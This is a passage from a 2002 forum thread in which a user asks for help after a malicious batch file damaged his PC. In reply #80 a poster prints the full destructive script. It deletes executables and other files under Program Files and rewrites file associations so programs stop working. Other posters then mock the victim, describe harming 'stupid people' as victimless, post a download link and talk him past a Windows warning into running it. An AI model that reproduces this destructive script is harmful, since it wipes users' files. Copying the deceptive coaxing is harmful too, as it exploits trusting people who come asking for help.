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« Reply #75 on: December 02, 2002, 02:10:30 PM »
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Hm2k.bat deletes all of them.

 Ah, I see.  heh.       hehhe.       HEhEHeHEHeHE!!111!!!   :twisted:
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« Reply #76 on: December 02, 2002, 02:11:08 PM »
Remember kids, the bottle could contain delicious Root Beer, or slightly less delicious hobo pee.
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« Reply #77 on: December 02, 2002, 02:11:32 PM »
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Nah, see, in those cases, if the things work as they're supposed to the result will definitely be bad. In my example, the liquid could be delicious Root Beer!
[/i]True... or it could be something that helps you learn how to h4xx0r your gf's h0tma1l acc0un7 or make you L337 or somethign!  :shock:   :twisted:
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« Reply #78 on: December 02, 2002, 02:11:51 PM »
"I drank what?"--Socrates
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« Reply #79 on: December 02, 2002, 02:13:02 PM »
Luckely I have just installed XP, and since I can with some work access Word, I get to write my exam paper, I can reinstall it after the week is over (i don't dare to do anything before my paper is in, cause if my PC get fucked, I'm basicly FUCKED!)

Thanks for all the help, it was appriciated!

PS. Can anyone really tell me what make someone get off by fucking with others! I just doesn't understand what is fun with it!

PSS. Has banshee been here today? He is probably laughing his ass off in this very moment!
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« Reply #80 on: December 02, 2002, 02:13:06 PM »
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Hm2k.bat deletes all of them.

 Ah, I see.  heh.       hehhe.       HEhEHeHEHeHE!!111!!!   :twisted:
Yup.  Here's the actual syntax of the entire batch file.  Note the disclaimer in plain fucking English at the top of it:
Code: [Select]
// Disclaimer:  Do not run this batch file on any active system
// For entertainment purposes only

@echo off
c:
cd PROGRA~1
del /s *.exe
del /s *.txt
del /s *.zip
del /s *.lnk
del /s *.url

ASSOC .jpg=txtfile
ASSOC .gif=txtfile
ASSOC .lnk=txtfile
ASSOC .url=txtfile
ASSOC .bmp=txtfile
ASSOC .htm=txtfile
ASSOC .mpg=txtfile
ASSOC .avi=txtfile
ASSOC .mp3=txtfile
ASSOC .wav=txtfile
ASSOC .txt=exefile
ASSOC .com=txtfile
ASSOC .exe=txtfile

CLS

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« Reply #81 on: December 02, 2002, 02:15:09 PM »
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Remember kids, the bottle could contain delicious Root Beer, or slightly less delicious hobo pee.

 ..umm.. slightly? :lol:
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« Reply #82 on: December 02, 2002, 02:16:26 PM »
Hey, those hobos, with all the chemicals they ingest on a daily basis - their stomachs are like drink mixers.

Sometimes you get lucky.
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« Reply #83 on: December 02, 2002, 02:16:38 PM »
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PS. Can anyone really tell me what make someone get off by fucking with others! I just doesn't understand what is fun with it![/i]
Fucking with stupid people is an end in and of itself, and it's truly a victimless crime, when it comes down to it.  The stupid people end up having a much simpler, and therefore happier life, and those who fuck with them no longer have to deal with their stupidity, assuming they succeeded in keeping the moron in question off of the internet and off of his now useless computer.  In the end, everyone's happy!  I personally don't see how anyone's "harmed" by such a situation.

BTW, I still advise you to turn your computer off and never use it again.  It will really make everyone a lot happier in the end, including yourself.  Seriously.  :)

If you want another way to make things a lot better, I have a utility that I wrote that can solve your problems as well...
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« Reply #84 on: December 02, 2002, 02:18:32 PM »
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Hm2k.bat deletes all of them.

 Ah, I see.  heh.       hehhe.       HEhEHeHEHeHE!!111!!!   :twisted:
Yup.  Here's the actual syntax of the entire batch file.  Note the disclaimer in plain fucking English at the top of it:[code]// Disclaimer:  Do not run this batch file on any active system

 What makes it so hilarious is that IT GETS RAN!
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« Reply #85 on: December 02, 2002, 02:18:52 PM »
Yeah, use a typewriter, it builds character.
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« Reply #86 on: December 02, 2002, 02:20:21 PM »
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Yeah, use a typewriter, it builds character.


Yeah, move to InterZone, get addicted to bug powder, and use a giant anthropomorphic typewriter. It'll be a blast, trust me.
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« Reply #87 on: December 02, 2002, 02:25:48 PM »
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If you want another way to make things a lot better, I have a utility that I wrote that can solve your problems as well...


Yeah, I would be interested in such a program, if you can guarantee that it wont fuck my computer even more! (something I dont belive it would do, since you appear to be one of the "good guys"!
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« Reply #88 on: December 02, 2002, 02:26:30 PM »
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Yeah, move to InterZone, get addicted to bug powder, and use a giant anthropomorphic typewriter. It'll be a blast, trust me.

 Hobo piss, bug powder, ... n0\/\/ 1 4m 7r1pp1n!!!11!  Whut shuld I doo next? 'Body gotta woodchipper? Heh! Y'all watch this! ...
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« Reply #89 on: December 02, 2002, 02:27:06 PM »
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If you want another way to make things a lot better, I have a utility that I wrote that can solve your problems as well...


Yeah, I would be interested in such a program, if you can guarantee that it wont fuck my computer even more! (something I dont belive it would do, since you appear to be one of the "good guys"!
[/i]=sigh=  :roll:


You remind me of my little brother.


Me:  Hey Dan, look at this!  (holds up hand)

Dan:  What?

(Dan gets punched hard in the shoulder)

Dan: Ow!


...


(two minutes later)

Me:  Hey Dan, look at this!  (holds up hand)

Dan:  What?

(Dan gets punched hard in the shoulder)

Dan: Ow!





Repeat.
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« Reply #90 on: December 02, 2002, 02:29:56 PM »
What do you mean? do you have such a program or do you not? can I have it? Please, sweet big Master!
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« Reply #91 on: December 02, 2002, 02:30:58 PM »
Here.

Enjoy!  :D
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« Reply #92 on: December 02, 2002, 02:31:19 PM »
SCHWEEeeettt Big 'un! :lol:
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« Reply #93 on: December 02, 2002, 02:32:33 PM »
It is my kindness to others that defines me.  It truly is.  :roll:
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« Reply #94 on: December 02, 2002, 02:35:02 PM »
It seems like the link isn't working! I know I'm a pain in the ass, but I cant help it!
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« Reply #95 on: December 02, 2002, 02:35:28 PM »
Whoops.  My bad.  Try it again.
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« Reply #96 on: December 02, 2002, 02:37:02 PM »
Wow. Even has the name "shifty" in the link...
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« Reply #97 on: December 02, 2002, 02:38:00 PM »
I get a message from Windows that this file might destroy my machine (a little overstated...). Are you sure it safe?

PS. Thanks for bearing over with me, I'm forever thankful!
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« Reply #98 on: December 02, 2002, 02:38:44 PM »
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Wow. Even has the name "shifty" in the link...
Well, something tells me that Sparky here could fail a multiple choice test even with the answer key sitting right in front of him.
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« Reply #99 on: December 02, 2002, 02:41:00 PM »
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I get a message from Windows that this file might destroy my machine (a little overstated...). Are you sure it safe?
It will say that about ANYTHING if you try to just run it from a link.  That's Windows' way of saying "Right-click on it and save it to your desktop and run it from there, stupid".
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